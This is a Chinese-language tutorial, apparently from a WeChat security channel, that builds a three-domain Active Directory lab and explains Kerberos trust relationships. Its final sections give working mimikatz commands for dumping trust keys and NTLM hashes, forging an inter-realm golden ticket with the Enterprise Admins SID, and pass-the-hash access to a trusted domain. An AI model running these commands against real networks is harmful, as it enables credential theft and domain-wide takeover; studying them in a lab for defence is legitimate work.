域的環境搭建、域與域的關係、相互滲透
一次性進群,長期免費索取教程,沒有付費教程。
教程列表見微信公眾號底部菜單
公眾號:計算機與網路安全
域既是 Windows 網路操作系統的邏輯組織單元,也是Internet的邏輯組織單元,在 Windows 網路操作系統中,域是安全邊界。所以對於互聯網從業者來說,了解域的知識十分重要,本文詳解釋域的環境搭建,域和域之間的關係以及域的滲透。
大一點企業或公司,都有自己的內網系統,有著各種防護的系統,流量審計,鏡像等這些系統。然而這些都是在各種域下,不同部門也是存在不同的域環境,如果拿到一個域控,就可以進行其它域的滲透。下面先講解域之間的關係,再利用域關係進行下一步的滲透。
環境搭建
Windows 2012 (hack.com 192.168.199.151) 本文中稱為A 域
Windows 2012 (child.hack.com 192.168.199.68) 本文中稱為CA 域
Windows 2008 (localtest.com 192.168.199.129) 本文中稱為B 域
A域與CA域是」within forest「 關係,內部信任是可以傳遞,這裡子域的信任搭建很簡單,就不細說了,說一下子域的加入,在CA域的域控搭建完後,選擇加入一個存在的域,然後其中有個DSRM 密碼:
DSRM賬戶是域控的本地管理員賬戶,並非域的管理員帳戶。所以DSRM密碼同步之後並不會影響域的管理員帳戶。 這裡有一個DSRM 持久化 ,因為要修改註冊表,我反正不喜歡用。
B域信任CA域,屬於外部信任,不能傳遞信任關係,CA域可以訪問B域中的資源,講下這裡的搭建過程:
在B域domain trusts設置外部信任後,CA域也會自動創建,可以參考這裡:
信任創建完過後,還要設置相應的share文件夾及可以訪問的組和用戶,參考這裡,說一下本環境的搭建:
1、WIN10 加入CA域。
2、建立一個全局的組GCB。
3、在B域中建立一個本地share 組,把CA域的GCB添加到這裡,這裡添加的時候需要輸入CA的用戶名和密碼驗證。
4、在B域的DC的C盤中建立一個share的分享文件夾,把share組的許可權添加到當中。
好了,這個外部的信任搭建完成,B信任CA域,所以在CA域的GCB的用戶,可以訪問在B域DC中share的文件夾內容。
這裡沒有那些VLAN劃分,網路隔離這些東西了。我簡單的域環境就搭建完成了。結構圖如下:
多個域之間關係
在client 通過AS 服務的驗證過後,會得到這個client的TGT(TGT包含了當前client所屬組及許可權,還有其他林中域的組,例如:universal groups)。client利用TGT朝DC請求TGS,然後利用TGS向目標伺服器請求訪問資源。TGT的生命周期默認10小時,所以攻擊者只要拿到KRBTGT的hash password就可以自己偽造簽名TGT,這也就是mimikatz生成的黃金票據。這就是域的驗證過程。
在一個林中,CA域中的client要訪問B域中的伺服器的資源,先看下3個域的信任關係:
A域和CA域(就是A的子域):
B域:
擁有多個域的大多數組織都需要用戶訪問位於不同域中的共享資源,並且信任允許具有多個域的組織授予不同域中的用戶訪問共享資源的許可權。域林是相互信任的域容器的集合。森林本身也可能在它們之間有信任。內部信任具有傳遞關係,A信任B,B信任C,所以A也是信任C的,但是外部信任不能傳遞。
從下圖看下在不同域的訪問過程:
在兩個域互相信任過後,會有一個信任密碼及在每個域中註冊一個ticket-granting 服務,用來提供跨域的服務。在上圖可以看見藍色的第4步,得到inter-realm(由域之間信任密碼生成)的加密和簽名的TGT,向另一個域DC請求TGS,綠色域DC使用信任密碼驗證通過後,生成了客戶端要訪問的綠色應用伺服器的TGS票據。
Gold Ticket中默認包含了Enterprise Admin 組的關係,而Enterprise Admin又是AD域中Administrator 組的成員。在其中還涉及到了sidHistory和SID過濾安全機制,所以攻擊者可以偽造kerberos 票據來獲取到域中的Enterprise Admin許可權。所以下面我就來介紹下,如何利用Mimikatz 偽裝 域信任票據。
域之間滲透
1、偽造內部信任AD林中的信任票據
我這裡是在子域下的一個普通用戶,目標利用偽造trust key來獲取AD的訪問許可權:
(1)先利用mimikatz 在域控dump出來的數據privilege::debug lsadump::trust /patch :
(2)在利用trust key 來偽造憑證是屬於EA組的,用戶名可以隨便填寫:
kerberos::golden /domain:child.hack.com /sid:S-1-5-21-840356815-2954379092-972630321 /sids:S-1-5-21-1863527717-1245757989-2975568438-519 /krbtgt:ac51f0ddaf0246a556f1978dd12d2a0f /user:hack$ /ptt
解釋下這些參數怎麼獲取:
domain:當前子域,sid:當前子域SID,sids:信任域的SID,也就是父域,krbtgt:當前域的krbtgt的值,user是trust account,不確定可以使用dcsync在看下。
(3)misc::cmd彈出CMD窗口,你也可以導出成Ticket,在導入來獲取許可權。
2、訪問信任域中的資源
(1)在CA域的DC中,mimikatz 執行privilege::debug lsadump::lsa /patch 先獲取到可以訪問B域用戶的ntlm
(2)sekurlsa::pth /user:child-ita /domain:child.hack.com /ntlm:e45a314c664d40a227f9540121d1a29d /run:powershell.exe 利用信任的用戶NTLM,訪問B域上的分享文件夾。
總結
本文先大概的介紹了域信任的關係,解釋了其中用戶組認證時的過程,以及涉及到的安裝過程。並且利用mimikatz 在不同的信任關係下來利用用戶的NTLM偽造和簽名trusts ticket來獲取域上的資源。在外部的信任中,只有在信任域中的組中的那些被信任域用戶,才能訪問到信任域中有指定許可權的分享文件夾。所以在拿到域控許可權的時候,lsadump::lsa /injectlsadump::trust /patch這個命令是一定要有的。
微信公眾號:計算機與網路安全
【推薦書籍】
TAG:計算機與網路安全 |